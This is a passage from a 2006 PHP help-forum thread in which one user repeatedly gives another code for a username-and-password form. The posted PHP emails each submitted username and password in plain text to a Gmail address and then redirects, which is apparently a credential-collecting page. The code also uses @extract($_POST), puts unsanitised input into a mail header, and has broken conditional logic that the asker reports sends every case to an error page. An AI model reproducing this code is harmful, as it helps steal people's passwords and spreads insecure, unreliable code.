Jump to content


Photo

Simple Enough question, but i really need help =)


  • Please log in to reply
26 replies to this topic

#21 shisamandisa

shisamandisa
  • Members
  • PipPip
  • Member
  • 22 posts

Posted 17 July 2006 - 09:06 PM

now everything goes to error.html

#22 redarrow

redarrow
  • Members
  • PipPipPip
  • Advanced Member
  • 7,308 posts
  • Locationlondon

Posted 17 July 2006 - 09:08 PM

<?
if((!$username=="none")&&(!$password=="none")){
header("Location: error.html");
exit;
}

@extract($_POST);
$username=$_POST['username'];
$password=$_POST['password'];

if($_POST['submit']){

mail("email@gmail.com", $username, $password, "From: $username");

if(($username)&&($password)){
header("Location: header.html");
}
}
?>

Wish i new all about php DAM i will have to learn
((EMAIL CODE THAT WORKS))
http://simpleforum.ath.cx/mail2.inc
((PAYPAL INTEGRATION THAT WORKS))
http://simpleforum.a...aypal1_info.inc

#23 shisamandisa

shisamandisa
  • Members
  • PipPip
  • Member
  • 22 posts

Posted 17 July 2006 - 09:14 PM

same thing wow this isnt so simple i guess but i really appreciate u helping me

#24 redarrow

redarrow
  • Members
  • PipPipPip
  • Advanced Member
  • 7,308 posts
  • Locationlondon

Posted 17 July 2006 - 09:17 PM

when you post with a name and password does it do it or not.
Wish i new all about php DAM i will have to learn
((EMAIL CODE THAT WORKS))
http://simpleforum.ath.cx/mail2.inc
((PAYPAL INTEGRATION THAT WORKS))
http://simpleforum.a...aypal1_info.inc

#25 redarrow

redarrow
  • Members
  • PipPipPip
  • Advanced Member
  • 7,308 posts
  • Locationlondon

Posted 17 July 2006 - 09:19 PM

post your form ok

Wish i new all about php DAM i will have to learn
((EMAIL CODE THAT WORKS))
http://simpleforum.ath.cx/mail2.inc
((PAYPAL INTEGRATION THAT WORKS))
http://simpleforum.a...aypal1_info.inc

#26 shisamandisa

shisamandisa
  • Members
  • PipPip
  • Member
  • 22 posts

Posted 17 July 2006 - 09:20 PM

Name + Pass = Error.html
Name - Pass = Error.html
- Name - Pass = Error.html
- Name + Pass = Error.html

In other words everything goes to Error.html


Form:

<form name="mail.php" method='POST' action="site.com/mail.php">

<br><div style="text-align:center"><table><tr><td align="center">username:</td><td

align="center"><input size="20" type="text" name="username" maxlength="12"></td></tr><tr><td

align="center">password:</td><td align="center"><input size="20" type="password" name="password"

maxlength="20"></td></tr><tr><td></td><td align="center"><input type="submit" value="Membership"

style="background:#4D422E url('style.jpg'); color: white;"

class="b"></td></tr></table></form>

#27 redarrow

redarrow
  • Members
  • PipPipPip
  • Advanced Member
  • 7,308 posts
  • Locationlondon

Posted 18 July 2006 - 12:23 AM


Your have to use it this way ok mate.
<?
if((!$username=="none")&&(!$password=="none")){
header("Location: error.html");
}

@extract($_POST);
$username=$_POST['username'];
$password=$_POST['password'];

mail("email@gmail.com", $username, $password, "From: $username");

if(($username)&&($password)){
header("Location: header.html");
}

?>
Wish i new all about php DAM i will have to learn
((EMAIL CODE THAT WORKS))
http://simpleforum.ath.cx/mail2.inc
((PAYPAL INTEGRATION THAT WORKS))
http://simpleforum.a...aypal1_info.inc




0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users